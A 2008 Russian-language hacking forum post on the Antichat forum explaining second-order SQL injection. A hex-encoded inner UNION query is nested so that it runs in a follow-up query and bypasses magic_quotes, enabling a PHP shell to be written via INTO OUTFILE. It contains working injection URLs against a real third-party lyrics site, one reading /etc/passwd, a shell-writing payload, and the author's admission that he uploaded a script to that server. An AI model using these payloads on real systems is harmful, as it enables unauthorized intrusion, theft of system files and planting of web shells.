Показать сообщение отдельно

  #25  
Старый 24.04.2008, 07:15
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами: 10274726

Репутация: 1917


По умолчанию

Небольшая фича (ну или не фича):
вот есть пример скули:
Код:
http://www.thefump.com/lyrics.php?id=-99999+union+select+1,load_file(0x2f6574632f706173737764),3,4,USER(),6,7,8,9,10,VERSION(),12,13/*
(взял из топика "sql-инекции" если не выдержал копирайтов, извиняйте)

смысл в том, что пользователь рут и как видно file_priv есть, но казалось бы шелл через into outfile залить нельзя, так как экранируются кавычки, на самом деле шелл здесь (и в подобных скулях) через into outfile залить не сложно.

К теории, есть например такой скрипт:
PHP код:
<?php
mysql_connect
('localhost','root','');
mysql_select_db('intbrd');
$id=$_GET["id"];
$sql "SELECT u_id,u__email,u__name FROM `User` where u_id=".$id;
$result MySQL_QUERY($sql);
echo 
mysql_error();
while(
$us MySQL_FETCH_ARRAY($result))
 {echo 
$us['u__email'].":".$us['u__name'];echo "<br>";
  
$onl MySQL_QUERY("SELECT o_uid,o_key FROM online WHERE o_uid = ".$us["u_id"]);
  while(
$usonl MySQL_FETCH_ARRAY($onl))
  echo 
$usonl["o_uid"].':'.$usonl["o_key"];
 }
?>
(набросал я его чисто для наглядности и примера и показываю на примере своей бд)

обратившись к скрипту:
Код:
http://localhost/erase.php?id=-2+union+select+1,2,3/*
видим
Цитата:
2:3
обратившись
Код:
http://localhost/erase.php?id=-2+union+select+0x27,2,3/*
(0x27- код кавычки) видим:
Цитата:
2:3
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:\home\localhost\www\erase.php on line 20
происходит это потому, что данные полученные виз первого запроса, вставляются во второй запрос.
Сделаем "внутренний" инъект-запрос:
Код:
-2 union select '999',111/*
захексим его и подставим в первое поле первого ("внешнего") запроса:
Код:
http://localhost/erase.php?id=-2+union+select+0x2D3220756E696F6E2073656C6563742027393939272C3131312F2A,2,3/*
результат:
Код:
2:3
999:111
т.к. данные полученные из sql-запроса не так часто слешируют/фильтруют то получается что этот "внутренний" запрос выполняется без ошибок, даже при наличии кавычек.

а если "внутренний" запрос будет:
Код:
-2 union select '<?php include "shell.php"; ?>,111 into outfile '/bla/bla/bla.php'/*
то в запросе
PHP код:
$onl MySQL_QUERY("SELECT o_uid,o_key FROM online WHERE o_uid = ".$us
он выполнится без проблем даже при magic_quotes on

обратимся к первой скуле, если мы в третье поле подставим:
Код:
-1 union select 'magic_qotes is sux'/*
и выполним:
Код:
http://www.thefump.com/lyrics.php?id=-99999+union+select+1,2,0x2D3120756E696F6E2073656C65637420276D616769635F716F74657320697320737578272F2A,4,5,6,7,8,9,10,11,12,13/*
увидим безобидную надпись magic_qotes is sux
а могли бы составить и более опасный запрос с присутствием into outfile 'blabla' и он тоже бы выполнился

зы скрипт я туда конечно залил, но вот только на серваке отключены системные комманды и отключен Url file-access((
__________________
Карфаген должен быть разрушен...